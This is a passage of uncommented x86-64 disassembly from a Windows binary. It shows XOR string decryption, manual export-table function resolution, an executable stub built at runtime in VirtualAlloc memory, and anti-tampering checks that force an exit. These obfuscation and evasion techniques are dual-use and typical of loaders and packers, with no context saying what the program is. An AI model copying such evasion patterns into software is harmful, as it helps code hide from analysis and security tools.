rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140027e1f
movdqa xmm0, xmmword [0x1400daa20]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 0xde
mov r10, r14
movabs r8, 0x1f8c332474
mov r11, r12
movabs rbx, 0x8080808080808081
movabs r9, 0x3f186648e8
movabs r15, 0x1db121133
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3f8]
xor dil, r10b
mov byte [rbp + r10 + 0x3f8], dil
add r10, rsi
add r8, r13
add r11, r12
cmp r8, r9
jb 0x140027ced
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400daa50]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400da8a0]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x7f6f
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
add r8, rsi
add r9, r13
add r10, 0x22
movabs rax, 0x7e30cc91d0
cmp r9, rax
jb 0x140027d90
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.1400976a8
int3
mov rax, qword [rbp + 0xfe8]
mov edi, dword [rax + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400eb410], r14
jne 0x140027e61
mov ecx, 0x26b0
call fcn.14009bf6c
test rax, rax
je 0x140027e61
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400eb410], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400da9f0]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.140031eb0
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
add rdi, rsi
cmp rdi, 0x17
jb 0x140027ea0
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x1400eb410]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x140027fbc
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140027f74
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.14009bf6c
mov rsi, rax
test rax, rax
je 0x140027fb9
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400eb410]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400ba160
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400ba800
mov rcx, rdi
call fcn.14009be48
mov qword [0x1400eb410], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_32
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140031dc8
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x140027fdd
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400eb410]
test rbx, rbx
je 0x1400280e7
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400280a1
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009bf6c
mov rsi, rax
test rax, rax
je 0x1400280e4
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400eb410]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400ba160
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400ba800
mov rcx, rdi
call fcn.14009be48
mov qword [0x1400eb410], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
mov r12d, 3
test rax, rax
je 0x14002817a
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002817a
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002817a
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002817a
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002817a
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002816d
inc rax
test edi, edi
jne 0x140028158
test r8d, r8d
je 0x1400281f1
inc rdx
cmp rdx, rsi
jb 0x140028147
mov esi, r14d
mov rdi, qword [0x1400eb410]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
test r15, r15
jle 0x1400283c5
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x1400283b2
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x1400283b2
mov al, byte [rbp + 0xf70]
test al, al
jne 0x140028377
xor edx, edx
call fcn.1400ba800
jmp 0x1400283b0
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002817a
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
jns 0x140028215
xor r14d, r14d
jmp 0x14002817a
mov r9d, 4
mov r8d, 0x3000
mov r15d, 0x1000
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400906e0
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.14003298c
lea rcx, [rbp + 0x87b0]
call fcn.140031f24
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x87b0]
call fcn.140031f24
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140028289
mov r8, r15
lea rdx, [rbp + 0x466e0]
mov rcx, rbx
call fcn.1400ba160
mov dword [0x1400e8644], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400e8640]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8648]
mov word [rdi + 8], ax
mov al, byte [0x1400e864a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfcc], r14d
lea r9, [rbp + 0xfcc]
lea r8d, [r14 + 0x20]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8, r12
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov esi, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.1400ba800
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400e8644], r14d
jmp 0x14002817d
cmp al, 1
jne 0x1400283b2
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.1400326f4
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.1400328a8
lea rcx, [rbp + 0x1168]
call fcn.140032838
lea rcx, [rbp + 0x1168]
call fcn.140004228
xor edx, edx
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x1400281a6
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400ba800
mov rcx, rdi
call fcn.14009be48
xor r15d, r15d
mov qword [0x1400eb410], r15
test esi, esi
js 0x14003084b
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14003084b
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.14009bf6c
test rax, rax
je 0x140028428
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400eb410], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400da9f0]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.140031eb0
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x14002846b
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400eb410]
test rbx, rbx
je 0x140028592
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002853e
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009bf6c
mov rsi, rax
test rax, rax
je 0x140028585
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400eb410]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400ba160
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400ba800
mov rcx, rdi
call fcn.14009be48
mov qword [0x1400eb410], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_32
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140028588
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140031dc8
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x1400285a9
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400eb410]
test rbx, rbx
je 0x1400286b8
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140028670
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009bf6c
mov rsi, rax
test rax, rax
je 0x1400286b5
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400eb410]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400ba160
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400ba800
mov rcx, rdi
call fcn.14009be48
mov qword [0x1400eb410], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x1400286b8
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140028749
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140028749
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140028749
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140028749
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140028749
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140028738
inc rax
test edi, edi
jne 0x140028723
test r8d, r8d
je 0x1400287c7
inc rdx
cmp rdx, rsi
jb 0x140028712
mov esi, r15d
mov rdi, qword [0x1400eb410]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x140028997
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x140028984
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140028984
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x14002894a
xor edx, edx
mov rcx, rax
call fcn.1400ba800
jmp 0x140028984
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140028749
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x140028749
cmp cl, 1
jne 0x140028984
mov rdx, rax
lea rcx, [rbp + 0x1148]
call fcn.1400326f4
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.1400328a8
lea rcx, [rbp + 0x1148]
call fcn.140032838
lea rcx, [rbp + 0x1148]
call fcn.140004228
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x140028779
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400ba800
mov rcx, rdi
call fcn.14009be48
mov qword [0x1400eb410], r13
test esi, esi
js 0x1400306ba
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x1400306ba
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x70], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r15d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r15
cmp r8d, 8
jb 0x140028a47
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r9d, r15d
add r10, r15
cmp r9d, 8
jb 0x140028ac0
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add ebx, r15d
add r8, r15
movsxd rax, ebx
cmp rax, 0x28
jb 0x140028aa2
mov qword [rbp + 0xf58], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], rax
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r15
cmp r8d, 8
jb 0x140028b60
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r9b, dil
xor r9b, 5
mov ebx, edi
mov ecx, esi
lea r10, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r10]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r10, r15
cmp ecx, 8
jb 0x140028bce
movdqa xmm0, xmmword [0x1400daa20]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 0xde
mov r10, r13
movabs rbx, 0x1db121134
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1f8c332474
movabs r9, 0x3f186648e8
movabs r14, 0x1db121133
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003070e
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400da7c0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x1d16a055
mov dword [rbp + 0x96c], 0xf3d2f7e6
mov dword [rbp + 0x970], 0x8b9b7246
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
movabs r9, 0x33f5f9e1b0
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x67ebf3c360
cmp r9, rax
jb 0x1400307b9
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400daa20]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0xde
mov r10, r15
movabs rbx, 0x1db121134
movabs rsi, 0x8080808080808081
movabs r8, 0x1f8c332474
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x3f186648e8
movabs r14, 0x1db121133
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003089f
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400da7b0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x2202a987
mov word [rbp + 0x754], __WSAFDIsSet
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x26f87b6944
movabs r10, 0x4df0f6d288
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x140030943
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400976a8
int3
mov esi, 0xead65452
cmp rax, rsi
jne 0x140030a76
mov rax, qword gs:[0x32]
mov ecx, 0x12936b59
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030a56
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030a56
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030a76
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400daa20]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 0xde
mov r10, r14
movabs r8, 0x1f8c332474
mov r11, r12
movabs rbx, 0x8080808080808081
movabs r9, 0x3f186648e8
movabs r15, 0x1db121133
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x140030abd
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400daa10]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0xf685c508
mov dword [rbp + 0x82c], 0x5b6550
mov r8, r14
movabs r9, 0x2aae9f8bac
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
inc r8
add r9, r13
add r10, 0x17
movabs rax, 0x555d3f1758
cmp r9, rax
jb 0x140030b57
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[1]
cmp rax, rsi
jne 0x140030c92
mov rax, qword gs:[0x32]
movabs rbx, 0x810ab9c58de20e74
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030c72
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030c72
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030c92
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, rsi
jne 0x140031377
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x57e6aa4
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030d35
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030d35
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031377
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400daa20]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 0xde
mov r10, r15
movabs r8, 0x1f8c332474
mov r11, r12
movabs rbx, 0x8080808080808081
movabs r9, 0x3f186648e8
movabs r14, 0x1db121133
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x368], dil
inc r10
